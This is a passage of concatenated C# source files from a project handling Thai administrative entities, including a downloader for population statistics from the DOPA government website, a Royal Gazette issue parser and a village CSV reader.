if ( zone >= 0 && zone < zones )
{
latitudeStep = zone * height;
}
else
{
error = true;
}
}
if ( error )
{
throw new ArgumentException("Locator text contains an invalid character at position " + (position + 1) + " (Current precision step is " + step + ").", "maidenheadLocator");
}
}
longitude += longitudeStep;
latitude += latitudeStep;
}
//Corrections according argument positionInRectangle
GeoPoint.ShiftPositionInRectangle(ref latitude, ref longitude, positionInRectangle, height, width);
}
}
private static void InitializeZoneSize(out Double height, out Double width)
{
height = _UpperLatitudeLimit - _LowerLatitudeLimit;
width = _UpperLongitudeLimit - _LowerLongitudeLimit;
}
private static void RetrieveStepValues(Int32 step, Boolean smallLettersForSubsquares, out Int32 zones, out char firstCharacter)
{
if ( step % 2 == 0 )
{
//Step is even
zones = _ZonesEvenSteps;
firstCharacter = _FirstEvenStepsCharacter;
}
else
{
//Step is odd
zones = (step == 1 ? _ZonesOddStep1 : _ZonesOddStepsExcept1);
firstCharacter = ((step >= 3 && smallLettersForSubsquares) ? _FirstOddStepsExcept1Character : _FirstOddStep1Character);
}
}
}
}
<file_sep>/TambonMain/GazetteRename.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteRename
{
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public override HistoryEntryBase ConvertToHistory()
{
var historyRename = new HistoryRename();
historyRename.oldname = this.oldname;
historyRename.oldenglish = this.oldenglish;
historyRename.name = this.name;
historyRename.english = this.english;
return historyRename;
}
}
}<file_sep>/TambonMain/OtherIdentifier.cs
using System;
namespace De.AHoerstemeier.Tambon
{
public partial class OtherIdentifier :IIsEmpty
{
#region fixup serialization
public Boolean ShouldSerializehasc()
{
return !String.IsNullOrEmpty(hasc.value);
}
public Boolean ShouldSerializeiso3166()
{
return !String.IsNullOrEmpty(iso3166.value);
}
public Boolean ShouldSerializefips10()
{
return !String.IsNullOrEmpty(fips10.value);
}
public Boolean ShouldSerializegnd()
{
return !String.IsNullOrEmpty(gnd.value);
}
public Boolean ShouldSerializesalb()
{
return !String.IsNullOrEmpty(salb.value);
}
public Boolean ShouldSerializewoeid()
{
return !String.IsNullOrEmpty(woeid.value);
}
public Boolean ShouldSerializegeonames()
{
return !String.IsNullOrEmpty(geonames.value);
}
public Boolean ShouldSerializegetty()
{
return !String.IsNullOrEmpty(getty.value);
}
public Boolean ShouldSerializegoogleplace()
{
return !String.IsNullOrEmpty(googleplace.value);
}
public Boolean ShouldSerializegadm()
{
return !String.IsNullOrEmpty(gadm.value);
}
#endregion fixup serialization
/// <inheritdoc/>
public Boolean IsEmpty()
{
return !(ShouldSerializefips10() || ShouldSerializegnd() || ShouldSerializehasc() || ShouldSerializeiso3166() || ShouldSerializesalb() || ShouldSerializegeonames() || ShouldSerializegadm() || ShouldSerializegoogleplace() || ShouldSerializegetty() || ShouldSerializewoeid());
}
}
}<file_sep>/TambonMain/GazetteParentChange.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteParentChange
{
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public override HistoryEntryBase ConvertToHistory()
{
var historyReassign = new HistoryParentChange();
historyReassign.newparent = this.newparent;
historyReassign.oldparent = this.oldparent;
if ( this.typeSpecified )
{
historyReassign.type = this.type;
historyReassign.typeSpecified = true;
}
return historyReassign;
}
}
}<file_sep>/TambonMain/PopulationDataDownloader.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Xml.Serialization;
using MinimalJson;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Downloader of population data from DOPA.
/// </summary>
public class PopulationDataDownloader
{
/// <summary>
/// Statistics data types provided by DOPA.
/// </summary>
private enum DopaStatisticsType
{
/// <summary>
/// Population data - total, male, female, household.
/// </summary>
Population = 1,
/// <summary>
/// Household data.
/// </summary>
/// <remarks>Strange data, not linked in website. Male column is same value as number of households.</remarks>
[Obsolete]
Household = 2,
/// <summary>
/// Birth numbers.
/// </summary>
Birth = 3,
/// <summary>
/// Death numbers.
/// </summary>
Death = 4,
/// <summary>
/// Move out numbers.
/// </summary>
MoveOut = 5,
/// <summary>
/// Move in numbers.
/// </summary>
MoveIn = 6
}
/// <summary>
/// Translation table from the statistics type to the code used in the URLs.
/// </summary>
private static readonly Dictionary<DopaStatisticsType, String> _statisticTypeNames = new Dictionary<DopaStatisticsType, String>()
{
{ DopaStatisticsType.Population, "statpop" },
{ DopaStatisticsType.Birth, "statbirth" },
{ DopaStatisticsType.Death, "statdeath" },
{ DopaStatisticsType.MoveIn, "statmovein" },
{ DopaStatisticsType.MoveOut, "statmoveout" },
};
#region fields
/// <summary>
/// Geocode for which the data is to be downloaded.
/// </summary>
private readonly UInt32 _geocode = 0;
/// <summary>
/// Year in Buddhist era, shortened to two digits.
/// </summary>
private readonly Int32 _yearShort = 0;
/// <summary>
/// Whether the download should go down to Muban level.
/// </summary>
private readonly Boolean _downloadMuban = false;
#endregion fields
#region properties
/// <summary>
/// Gets the population data.
/// </summary>
/// <value>The data.</value>
public Entity Data
{
get;
private set;
}
/// <summary>
/// Gets the year (common era) for which is population data is done.
/// </summary>
/// <value>The year.</value>
public Int32 Year
{
get;
private set;
}
/// <summary>
/// Gets or sets the directory to write the processed data as XML files.
/// </summary>
/// <value>The output directory.</value>
public static String OutputDirectory
{
get;
set;
}
#endregion properties
#region constructor
/// <summary>
/// Creates a new instance of <see cref="PopulationDataDownloader"/>.
/// </summary>
/// <param name="year">Year (common era), must be between 1957 (BE 2500) and 2056 (BE 2599).</param>
/// <param name="geocode">Province geocode. 0 means to download all of country.</param>
public PopulationDataDownloader(Int32 year, UInt32 geocode)
{
Year = year;
_geocode = geocode;
_yearShort = Year + 543 - 2500;
if ((_yearShort < 0) | (_yearShort > 99))
{
throw new ArgumentOutOfRangeException();
}
if ((_geocode < 0) | (_geocode > 99))
{
throw new ArgumentOutOfRangeException();
}
}
#endregion constructor
#region constants
/// <summary>
/// URL to show the population data of an Amphoe.
/// </summary>
/// <remarks>
/// <para>{0} is expanded by the last two digits of the year in Buddhist era.</para>
/// <para>{1} is expanded by the geocode (4 digits).</para>
/// <para>{2} is expanded by the data type (see <see cref="DopaStatisticsType"/>).</para>
/// <para>{3} is expanded by the province geocode.</para>
/// </remarks>
private const String _urlShowAmphoe = "https://stat.bora.dopa.go.th/stat/statnew/statyear/#/TableTemplate4/Area/statpop?yymm={0}&&topic={2}&ccNo={2}&rcodeNo={1}";
/// <summary>
/// URL to show the population data of a province.
/// </summary>
/// <remarks>
/// <para>{0} is expanded by the last two digits of the year in Buddhist era.</para>
/// <para>{1} is expanded by the geocode (2 digits).</para>
/// <para>{2} is expanded by the data type (see <see cref="DopaStatisticsType"/>).</para>
/// </remarks>
private const String _urlShowChangwat = "https://stat.bora.dopa.go.th/stat/statnew/statyear/#/TableTemplate3/Area/statpop?yymm={0}&topic={2}&ccNo={1}";
/// <summary>
/// URL to show the population data of a tambon.
/// </summary>
/// <remarks>
/// <para>{0} is expanded by the last two digits of the year in Buddhist era.</para>
/// <para>{1} is expanded by the registrar geocode (4 digits).
/// <para>{2} is expanded by the data type (see <see cref="DopaStatisticsType"/>).</para>
/// <para>{3} is expanded by the Tambon geocode (6 digits).
/// </remarks>
private const String _urlShowTambon = "https://stat.bora.dopa.go.th/stat/statnew/statyear/#/TableTemplate5/Area/statpop?yymm={0}&topic={2}&ccNo=11&rcodeNo={1}&ttNo={3}";
/// <summary>
/// Maximum number of retries of a invalid JSon reply from the DOPA server.
/// </summary>
private const Int32 maxRetry = 8;
/// <summary>
/// Translation dictionary from <see cref="DopaStatisticsType"/> to <see cref="PopulationChangeType"/>.
/// </summary>
private static readonly Dictionary<DopaStatisticsType, PopulationChangeType> _populationChangeType = new Dictionary<DopaStatisticsType, PopulationChangeType>()
{
{ DopaStatisticsType.Birth, PopulationChangeType.birth },
{ DopaStatisticsType.Death, PopulationChangeType.death},
{ DopaStatisticsType.MoveIn, PopulationChangeType.movein },
{ DopaStatisticsType.MoveOut, PopulationChangeType.moveout },
};
#endregion constants
#region events
/// <summary>
/// Occurs when the processing is completed.
/// </summary>
public EventHandler<EventArgs> ProcessingFinished;
/// <summary>
/// Throws the <see cref="ProcessingFinished"/> event.
/// </summary>
/// <param name="e">Event arguments.</param>
private void OnProcessingFinished(EventArgs e)
{
ProcessingFinished?.Invoke(this, e);
}
#endregion events
#region public methods
/// <summary>
/// Gets the Wikipedia citation string for the current data element.
/// </summary>
/// <param name="geocode">Geocode of province.</param>
/// <param name="year">Year (4 digit in western style).</param>
/// <param name="language">Language.</param>
/// <returns>Wikipedia reference string.</returns>
public static String WikipediaReference(UInt32 geocode, Int32 year, Language language)
{
var _yearShort = (year + 543) % 100;
String result = String.Empty;
switch (language)
{
case Language.English:
result = String.Format(CultureInfo.InvariantCulture,
"<ref>{{{{cite web|url={0}|publisher=Department of Provincial Administration|title=Population statistics {1}|language=Thai|accessdate={2}}}}}</ref>",
String.Format(CultureInfo.InvariantCulture, _urlShowChangwat, _yearShort, geocode, _statisticTypeNames[DopaStatisticsType.Population]), year, DateTime.Now.ToString("yyyy-MM-dd"));
break;
case Language.German:
result = String.Format(CultureInfo.InvariantCulture,
"<ref>{{{{cite web|url={0}|publisher=Department of Provincial Administration|title=Einwohnerstatistik {1}|language=Thai|accessdate={2}}}}}</ref>",
String.Format(CultureInfo.InvariantCulture, _urlShowChangwat, _yearShort, geocode, _statisticTypeNames[DopaStatisticsType.Population]), year, DateTime.Now.ToString("yyyy-MM-dd"));
break;
case Language.Thai:
break;
default:
break;
}
return result;
}
/// <summary>
/// Gets the (english) Wikipedia citation string for the current data element.
/// </summary>
/// <returns>Wikipedia reference string.</returns>
public String WikipediaReference()
{
return WikipediaReference(_geocode, Year, Language.English);
}
/// <summary>
/// Loads population data from a XML file.
/// </summary>
/// <param name="fromFile">File name.</param>
/// <returns>Population data.</returns>
public static PopulationData Load(String fromFile)
{
PopulationData result = null;
using (var fileStream = new FileStream(fromFile, FileMode.Open, FileAccess.Read))
{
result = XmlManager.XmlToEntity<PopulationData>(fileStream, new XmlSerializer(typeof(PopulationData)));
}
return result;
}
/// <summary>
/// Gets the filename to which the data would be written.
/// </summary>
/// <returns>File name of generated file.</returns>
public String XmlExportFileName()
{
String result = String.Empty;
if (Data != null)
{
String outputDirectory = Path.Combine(OutputDirectory, "DOPA");
Directory.CreateDirectory(outputDirectory);
result = Path.Combine(outputDirectory, String.Format("population{0:D2} {1}.XML", Data.geocode, Year));
}
return result;
}
#endregion public methods
#region private methods
/// <summary>
/// Download the population data from DOPA.
/// </summary>
/// <param name="geocode">Geocode of the entity.</param>
/// <param name="statisticsType">Statistics type.</param>
/// <returns>JSON array returned from website.</returns>
private JsonArray GetDataFromDopa(UInt32 geocode, UInt32 registrarGeocode, DopaStatisticsType statisticsType)
{
JsonArray obj = null;
var urlData = String.Empty;
switch (statisticsType)
{
case DopaStatisticsType.Population:
urlData = "https://stat.bora.dopa.go.th/stat/statnew/connectSAPI/stat_forward.php?API=/api/statpophouse/v1/statpop/list?action={4}&yymmBegin={0}12&yymmEnd={0}12&statType=0&statSubType=999&subType=99&cc={1}&rcode={2}&tt={3}&mm=0";
break;
case DopaStatisticsType.Birth:
urlData = "https://stat.bora.dopa.go.th/stat/statnew/connectSAPI/stat_forward.php?API=/api/stattranall/v1/statbirth/list?action=191&yymmBegin={0}12&yymmEnd={0}12&statType=0&statSubType=999&subType=99&cc={1}&rcode={2}&tt={3}&tt=0&mm=0";
break;
case DopaStatisticsType.Death:
urlData = "https://stat.bora.dopa.go.th/stat/statnew/connectSAPI/stat_forward.php?API=/api/stattranall/v1/statdeath/list?action=191&yymmBegin={0}12&yymmEnd={0}12&statType=0&statSubType=999&subType=99&cc={1}&rcode={2}&tt={3}&mm=0";
break;
case DopaStatisticsType.MoveIn:
urlData = "https://stat.bora.dopa.go.th/stat/statnew/connectSAPI/stat_forward.php?API=/api/stattranall/v1/statmovein/list?action=191&yymmBegin={0}12&yymmEnd={0}12&statType=1&statSubType=999&subType=99&cc={1}&rcode={2}&tt={3}&mm=0";
break;
case DopaStatisticsType.MoveOut:
urlData = "https://stat.bora.dopa.go.th/stat/statnew/connectSAPI/stat_forward.php?API=/api/stattranall/v1/statmoveout/list?action=191&yymmBegin={0}12&yymmEnd={0}12&statType=1&statSubType=999&subType=99®ion=3&cc={1}&rcode=0&tt=0&mm=0";
break;
}
String url;
if (geocode < 100)
{
url = String.Format(CultureInfo.InvariantCulture, urlData, _yearShort, geocode, 0, 0, 193);
}
else if (geocode < 10000)
{
url = String.Format(CultureInfo.InvariantCulture, urlData, _yearShort, geocode / 100, geocode, 0, 194);
}
else
{
url = String.Format(CultureInfo.InvariantCulture, urlData, _yearShort, registrarGeocode / 100, registrarGeocode, geocode % 100, 195);
}
Int32 errorCount = 0;
while (obj == null)
{
try
{
var webClient = new System.Net.WebClient();
var inputStream = webClient.OpenRead(url);
var response = StreamToString(inputStream);
var result = JsonValue.readFrom(response);
if (!result.isArray())
{
return null;
}
obj = result.asArray();
}
catch
{
errorCount++;
}
if (errorCount > maxRetry)
{
throw new InvalidDataException(String.Format("Failed to get parseable json data for {0}", geocode));
}
}
return obj;
}
/// <summary>
/// Reads a stream into a string.
/// </summary>
/// <param name="stream">Input stream.</param>
/// <returns>Content of stream as string.</returns>
private static String StreamToString(Stream stream)
{
using (StreamReader reader = new StreamReader(stream, Encoding.UTF8))
{
return reader.ReadToEnd();
}
}
/// <summary>
/// Gets the URL to display the population data of a province.
/// </summary>
/// <param name="year">Year number.</param>
/// <param name="geocode">Geocode of the province.</param>
/// <returns>URL to display the data.</returns>
public static Uri GetDisplayUrl(Int32 year, UInt32 geocode)
{
var changwatGeocode = GeocodeHelper.ProvinceCode(geocode);
var url = String.Format(CultureInfo.InvariantCulture, _urlShowChangwat, year + 543 - 2500, changwatGeocode, _statisticTypeNames[DopaStatisticsType.Population]);
return new Uri(url);
}
/// <summary>
/// Parsing the JSON data returned from DOPA website.
/// </summary>
/// <param name="data">JSON data.</param>
/// <returns>Entities with population data.</returns>
private IEnumerable<Entity> ParsePopulationJson(JsonArray data)
{
var result = new List<Entity>();
foreach (JsonObject item in data)
{
Entity entity = new Entity();
var baseGeocode = Convert.ToUInt32(item.get("lsrcode").asString().Replace("\"", "")); ;
var mubanName = item.get("lsmmDesc").asString().Replace("\"", "").Trim();
var changwat = Convert.ToUInt32(item.get("lscc").asInt());
var amphoe = Convert.ToUInt32(item.get("lsaa").asInt());
var tambon = Convert.ToUInt32(item.get("lstt").asInt());
var muban = Convert.ToUInt32(item.get("lsmm").asInt());
if (tambon > 0)
{
// for tambon/muban, always need to start with amphoe, not with the thesaban rcode
baseGeocode = changwat * 100 + amphoe;
}
if (!String.IsNullOrEmpty(mubanName) && muban == 0)
{
// Mu 0 occurs in JSON. Using magic 99 instead, then the stripping of final 00s will not fail
muban = 99;
}
entity.geocode = (baseGeocode * 100 + tambon) * 100 + muban;
// normalize geocode by stripping final 00s
while (entity.geocode % 100 == 0)
{
entity.geocode = entity.geocode / 100;
}
PopulationData population = CreateEmptyPopulationEntry();
entity.population.Add(population);
HouseholdDataPoint householdDataPoint = new HouseholdDataPoint
{
male = item.get("lssumtotMale").asInt(),
female = item.get("lssumtotFemale").asInt(),
total = item.get("lssumtotPop").asInt(),
households = item.get("lssumnotTermDate").asInt()
};
// oddly, the website displays the value "lssumnotTermDate" and not lssumtotHouse.
// seems that lssumnotTermDate + lssumtermDate = lssumtotHouse
// older API did also return the value now in lssumnotTermDate, so take that value for compatibility
population.data.Add(householdDataPoint);
if ((householdDataPoint.total > 0) && (householdDataPoint.households > 0))
{
// occasionally there are empty entries, e.g. for 3117 includes an empty 311102
result.Add(entity);
}
}
return result;
}
/// <summary>
/// Creates an empty population entry for the current download.
/// </summary>
/// <returns>Empty population data.</returns>
private PopulationData CreateEmptyPopulationEntry()
{
PopulationData population = new PopulationData
{
source = PopulationDataSourceType.DOPA,
referencedate = new DateTime(Year, 12, 31),
referencedateSpecified = true,
year = Year.ToString(CultureInfo.InvariantCulture)
};
return population;
}
private void GetProvinceData()
{
Data = new Entity();
var populationJsonData = GetDataFromDopa(_geocode, _geocode, DopaStatisticsType.Population);
Data.entity.AddRange(ParsePopulationJson(populationJsonData));
foreach (var entity in Data.entity)
{
var subPopulationData = GetDataFromDopa(entity.geocode, entity.geocode, DopaStatisticsType.Population);
entity.entity.AddRange(ParsePopulationJson(subPopulationData));
if (_geocode > 10 && _downloadMuban) // Bangkok has no Muban
{
foreach (var tambonEntity in entity.entity)
{
var mubanPopulationData = GetDataFromDopa(tambonEntity.geocode, entity.geocode, DopaStatisticsType.Population);
tambonEntity.entity.AddRange(ParsePopulationJson(mubanPopulationData));
}
}
}
Data.geocode = _geocode;
Data.population = new List<PopulationData>();
PopulationData populationData = CreateEmptyPopulationEntry();
Data.population.Add(populationData);
AddOtherData(populationData, _geocode, DopaStatisticsType.Birth);
AddOtherData(populationData, _geocode, DopaStatisticsType.Death);
AddOtherData(populationData, _geocode, DopaStatisticsType.MoveIn);
AddOtherData(populationData, _geocode, DopaStatisticsType.MoveOut);
}
private void AddOtherData(PopulationData populationData, UInt32 geocode, DopaStatisticsType dataType)
{
var jsonData = GetDataFromDopa(geocode, geocode, dataType);
if (populationData.register == null)
{
populationData.register = new RegisterData();
}
PopulationChangeEntry otherData = null;
switch (dataType)
{
case DopaStatisticsType.Birth:
otherData = ParseAdditionalJsonBirth(jsonData);
break;
case DopaStatisticsType.Death:
otherData = ParseAdditionalJson(jsonData);
break;
case DopaStatisticsType.MoveIn:
case DopaStatisticsType.MoveOut:
otherData = ParseAdditionalJson(jsonData);
break;
}
otherData.type = _populationChangeType[dataType];
populationData.register.change.Add(otherData);
}
private PopulationChangeEntry ParseAdditionalJsonBirth(JsonArray data)
{
var result = new PopulationChangeEntry();
foreach (JsonObject item in data)
{
result.male += item.get("lssumtotalBoy").asInt();
result.female += item.get("lssumtotalGirl").asInt();
result.total += item.get("lssumtotalAll").asInt();
}
return result;
}
private PopulationChangeEntry ParseAdditionalJson(JsonArray data)
{
var result = new PopulationChangeEntry();
foreach (JsonObject item in data)
{
result.male += item.get("lssumtotMale").asInt();
result.female += item.get("lssumtotFemale").asInt();
result.total += item.get("lssumtotTot").asInt();
}
return result;
}
/// <summary>
/// Synchronizes the calculated data with the global geocode list.
/// </summary>
private void GetGeocodes()
{
if (Data != null)
{
var geocodes = GlobalData.GetGeocodeList(Data.geocode);
// _invalidGeocodes = geocodes.InvalidGeocodeEntries();
foreach (var amphoe in geocodes.entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe)))
{
if (!Data.entity.Any(x => GeocodeHelper.IsSameGeocode(x.geocode, amphoe.geocode, false)))
{
// make sure all Amphoe will be in the result list, in case of a Amphoe which has only Thesaban it will be missing in the DOPA data
var newAmphoe = new Entity();
newAmphoe.population.Add(CreateEmptyPopulationEntry());
newAmphoe.CopyBasicDataFrom(amphoe);
Data.entity.Add(newAmphoe);
}
}
Data.SynchronizeGeocodes(geocodes);
}
}
/// <summary>
/// Exports the data to a XML in the <see cref="OutputDirectory"/>.
/// </summary>
public void SaveXml()
{
var data = XmlManager.EntityToXml<Entity>(Data);
using (var fileStream = new StreamWriter(XmlExportFileName()))
{
fileStream.WriteLine(data);
}
}
private void ReOrderThesaban()
{
if (Data != null)
{
Data.ReorderThesaban();
}
}
/// <summary>
/// Gets the data for all provinces, used if <see cref="_geocode"/> is 0.
/// </summary>
private void ProcessAllProvinces()
{
PopulationData populationData = CreateEmptyPopulationEntry();
Data = new Entity
{
population = new List<PopulationData>(){ populationData },
type = EntityType.Country,
};
Data.CopyBasicDataFrom(GlobalData.CountryEntity);
foreach (var entry in GlobalData.Provinces)
{
var tempCalculator = new PopulationDataDownloader(Year, entry.geocode);
tempCalculator.Process();
Data.entity.Add(tempCalculator.Data);
}
Data.CalculatePopulationFromSubEntities(Year, PopulationDataSourceType.DOPA);
}
private void ProcessProvince()
{
GetProvinceData();
// TODO: Special handling of Mu 0 (หมู่ที่ 0) entries
GetGeocodes();
// TODO: special handling of Muban and Thesaban, also to be done in ReOrderThesaban()?
ReOrderThesaban();
FixupWronglyPlacedAmphoe();
var toRemove = new List<Entity>();
foreach (var entity in Data.FlatList())
{
if (entity.population.Any())
{
entity.population.First().CalculateTotal();
}
else
{
toRemove.Add(entity);
}
}
Data.entity.RemoveAll(x => toRemove.Contains(x));
Data.CalculatePopulationFromSubEntities(Year, PopulationDataSourceType.DOPA);
}
private void FixupWronglyPlacedAmphoe()
{
var invalidTambon = new List<Entity>();
foreach (var amphoe in Data.entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe)))
{
foreach (var tambon in amphoe.entity.Where(x => !GeocodeHelper.IsBaseGeocode(amphoe.geocode, x.geocode)).ToList())
{
invalidTambon.Add(tambon);
amphoe.entity.Remove(tambon);
}
}
foreach (var tambon in invalidTambon)
{
var mainTambon = Data.FlatList().FirstOrDefault(x => GeocodeHelper.IsSameGeocode(x.geocode, tambon.geocode, false));
if (mainTambon != null)
{
foreach (var dataPoint in tambon.population.First().data)
{
mainTambon.population.First().AddDataPoint(dataPoint);
}
}
}
var emptyAmphoe = Data.entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe) && !x.entity.Any()).ToList();
foreach (var toRemove in emptyAmphoe)
{
Data.entity.Remove(toRemove);
}
}
/// <summary>
/// Starts the download of the data.
/// </summary>
public void Process()
{
if (_geocode == 0)
{
ProcessAllProvinces();
}
else
{
ProcessProvince();
}
Data.SortByGeocodeRecursively();
OnProcessingFinished(new EventArgs());
}
#endregion private methods
}
}<file_sep>/AHTambon/RoyalGazetteIssue.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class RoyalGazetteIssue : IComparable, ICloneable
{
static private List<Char> mIssueBookNames = new List<Char>() { 'ก', 'ง', 'ข', 'ค' };
#region variables
private String IssuePrefix;
private String IssuePostfix;
private Int32 IssueNumber = -1;
private Char IssueBook = ' ';
#endregion
#region constructor
public RoyalGazetteIssue(String value)
{
ParseIssue(value);
}
public RoyalGazetteIssue()
{
}
public RoyalGazetteIssue(RoyalGazetteIssue value)
{
IssuePostfix = value.IssuePostfix;
IssuePrefix = value.IssuePrefix;
IssueNumber = value.IssueNumber;
IssueBook = value.IssueBook;
}
#endregion
#region methods
public Boolean IsEmpty()
{
Boolean retval =
(IssueBook != ' ') |
(IssueNumber >= 0) |
(!String.IsNullOrEmpty(IssuePostfix)) |
(!String.IsNullOrEmpty(IssuePrefix));
return !retval;
}
private void ParseIssue(String value)
{
if ( !String.IsNullOrEmpty(value) )
{
String tempValue = value.Replace("เล่มที่", "");
// Standard format: [พิเศษ] [###] ก [ฉบับพิเศษ]
foreach ( String subString in tempValue.Split(new Char[] { ' ' }) )
{
if ( String.IsNullOrEmpty(subString) )
{
// do nothing, just a double space within the source string
}
else if ( subString == "พิเศษ" )
{
IssuePrefix = subString;
}
else if ( subString.StartsWith("ฉบับ") )
{
IssuePostfix = subString;
}
else if ( subString.StartsWith("***") )
{
// Strange case, better do nothing then
}
else if ( subString.Contains('/') )
{
IssuePostfix = subString;
}
else if ( mIssueBookNames.Contains(subString[0]) )
{
IssueBook = subString[0];
}
else
{
IssueNumber = Convert.ToInt32(subString);
}
}
}
}
public override String ToString()
{
String RetVal = String.Empty;
if ( !String.IsNullOrEmpty(IssuePrefix) )
{
RetVal = IssuePrefix + " ";
}
if ( IssueNumber >= 0 )
{
RetVal = RetVal + IssueNumber.ToString() + " ";
}
RetVal = RetVal + IssueBook + " ";
if ( !String.IsNullOrEmpty(IssuePostfix) )
{
RetVal = RetVal + IssuePostfix + " ";
}
RetVal = RetVal.Trim();
return RetVal;
}
#endregion
#region IComparable Members
public int CompareTo(object iOther)
{
if ( iOther is RoyalGazetteIssue )
{
Int32 retval = 0;
RoyalGazetteIssue lOther = (RoyalGazetteIssue)iOther;
retval = IssueBook.CompareTo(lOther.IssueBook);
if ( retval == 0 )
{
retval = IssueNumber.CompareTo(lOther.IssueNumber);
if ( retval == 0 )
{
retval = String.Compare(IssuePrefix, lOther.IssuePrefix);
if ( retval == 0 )
{
retval = String.Compare(IssuePostfix, lOther.IssuePostfix);
}
}
}
return retval;
}
throw new InvalidCastException("Not a RoyalGazetteIssue");
}
#endregion
#region ICloneable Members
public object Clone()
{
return new RoyalGazetteIssue(this);
}
#endregion
}
}
<file_sep>/AHTambon/MubanCSVReader.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Globalization;
using De.AHoerstemeier.Geo;
namespace De.AHoerstemeier.Tambon
{
public class MubanCSVReader
{
#region constructor
public MubanCSVReader()
{
}
#endregion
#region methods
public PopulationDataEntry Parse(Int32 geocode)
{
String filename = Path.Combine(GlobalSettings.HTMLCacheDir, "Muban");
filename = Path.Combine(filename, "Muban" + geocode.ToString() + ".txt");
if ( !File.Exists(filename) )
{
return null;
}
StreamReader reader = new StreamReader(filename);
PopulationDataEntry result = Parse(reader);
reader.Dispose();
result.Geocode = geocode;
return result;
}
public PopulationDataEntry Parse(StreamReader reader)
{
// Column 1 : is number, then use
// Column 2 : Amphoe name
// Column 3 : Tambon name
// Column 4 : Code
// Column 5 : Name
// Column 6 : Muban number
// Column 7 : Location source/placemark
// Column 8 : Location UTM Easting (47N, Indian 1974)
// Column 9 : Location UTM Northing (47N, Indian 1974)
String currentLine = String.Empty;
PopulationDataEntry currentChangwat = new PopulationDataEntry();
PopulationDataEntry currentAmphoe = new PopulationDataEntry();
PopulationDataEntry currentTambon = new PopulationDataEntry();
while ( (currentLine = reader.ReadLine()) != null )
{
var subStrings = currentLine.Split(new Char[] { '\t' });
if ( (subStrings.Length > 0) & (!String.IsNullOrEmpty(subStrings[0])) & TambonHelper.IsNumeric(subStrings[0]) )
{
PopulationDataEntry currentMuban = new PopulationDataEntry();
String amphoe = subStrings[1].Replace('"', ' ').Trim();
String tambon = subStrings[2].Replace('"', ' ').Trim();
String geocode = subStrings[3].Replace('"', ' ').Replace(" ", "").Trim();
currentMuban.Geocode = Convert.ToInt32(geocode);
currentMuban.Name = subStrings[4].Replace('"', ' ').Trim();
currentMuban.Type = EntityType.Muban;
String comment = subStrings[6].Replace('"', ' ').Trim();
String easting = subStrings[7].Replace('"', ' ').Replace('E', ' ').Trim();
String northing = subStrings[8].Replace('"', ' ').Replace('N', ' ').Trim();
if ( TambonHelper.IsNumeric(easting) && TambonHelper.IsNumeric(northing) )
{
EntityOffice office = new EntityOffice();
office.Type = OfficeType.VillageHeadmanOffice;
UtmPoint utmLocation = new UtmPoint(Convert.ToInt32(easting), Convert.ToInt32(northing), 47, true);
office.Location = new GeoPoint(utmLocation, GeoDatum.DatumIndian1975());
office.Location.Datum = GeoDatum.DatumWGS84();
currentMuban.Offices.Add(office);
}
String mubanString = subStrings[5].Replace('"', ' ').Trim();
if ( TambonHelper.IsNumeric(mubanString) )
{
Int32 muban = Convert.ToInt32(mubanString);
if ( muban != (currentMuban.Geocode % 100) )
{
comment = comment + Environment.NewLine + "Code is " + currentMuban.Geocode.ToString() + ',';
comment = comment + " Muban number is " + muban.ToString();
currentMuban.Geocode = currentMuban.Geocode - (currentMuban.Geocode % 100) + muban;
}
}
if ( (currentMuban.Geocode / 10000) != currentAmphoe.Geocode )
{
currentAmphoe = new PopulationDataEntry();
currentAmphoe.Name = tambon;
currentAmphoe.Type = EntityType.Amphoe;
currentAmphoe.Geocode = (currentMuban.Geocode / 10000);
currentChangwat.SubEntities.Add(currentAmphoe);
}
if ( (currentMuban.Geocode / 100) != currentTambon.Geocode )
{
currentTambon = new PopulationDataEntry();
currentTambon.Name = tambon;
currentTambon.Type = EntityType.Tambon;
currentTambon.Geocode = (currentMuban.Geocode / 100);
currentAmphoe.SubEntities.Add(currentTambon);
}
currentMuban.Comment = comment;
currentTambon.SubEntities.Add(currentMuban);
}
}
currentChangwat.Type = EntityType.Changwat;
return currentChangwat;
}
static public void Statistics(PopulationDataEntry changwat, FrequencyCounter counter)
{
foreach ( PopulationDataEntry amphoe in changwat.SubEntities )
{
foreach ( PopulationDataEntry tambon in amphoe.SubEntities )
{
Int32 lNumberOfMuban = tambon.SubEntities.Count;
counter.IncrementForCount(lNumberOfMuban, tambon.Geocode);
}
}
}
static public FrequencyCounter Statistics(PopulationDataEntry changwat)
{
FrequencyCounter counter = new FrequencyCounter();
Statistics(changwat, counter);
return counter;
}
static public String StatisticsText(FrequencyCounter counter)
{
StringBuilder builder = new StringBuilder();
Int32 lCount = counter.NumberOfValues;
builder.AppendLine(lCount.ToString() + " Tambon");
builder.AppendLine(Math.Round(counter.MeanValue * lCount).ToString() + " Muban");
builder.AppendLine();
builder.AppendLine(counter.MeanValue.ToString("F2", CultureInfo.InvariantCulture) + " Muban per Tambon");
builder.AppendLine(counter.MaxValue.ToString() + " Muban per Tambon max.");
String tambonCodes = String.Empty;
if ( counter.MaxValue != 0 )
{
foreach ( var lEntry in counter.Data[counter.MaxValue] )
{
tambonCodes = tambonCodes + lEntry.ToString() + ", ";
}
}
if ( tambonCodes.Length > 0 )
{
builder.AppendLine(tambonCodes.Substring(0, tambonCodes.Length - 2));
}
String result = builder.ToString();
return result;
}
static public String StatisticsText(PopulationDataEntry changwat)
{
FrequencyCounter statistics = Statistics(changwat);
String result = StatisticsText(statistics);
return result;
}
public Dictionary<PopulationDataEntry, PopulationDataEntry> DifferentMubanNames(PopulationDataEntry changwat)
{
